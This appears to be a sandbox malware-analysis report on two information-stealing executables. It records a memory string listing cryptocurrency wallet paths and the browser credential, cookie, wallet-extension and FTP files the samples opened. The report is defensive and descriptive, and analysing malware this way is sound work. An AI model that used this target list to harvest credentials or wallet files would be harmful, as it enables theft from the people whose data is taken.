Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
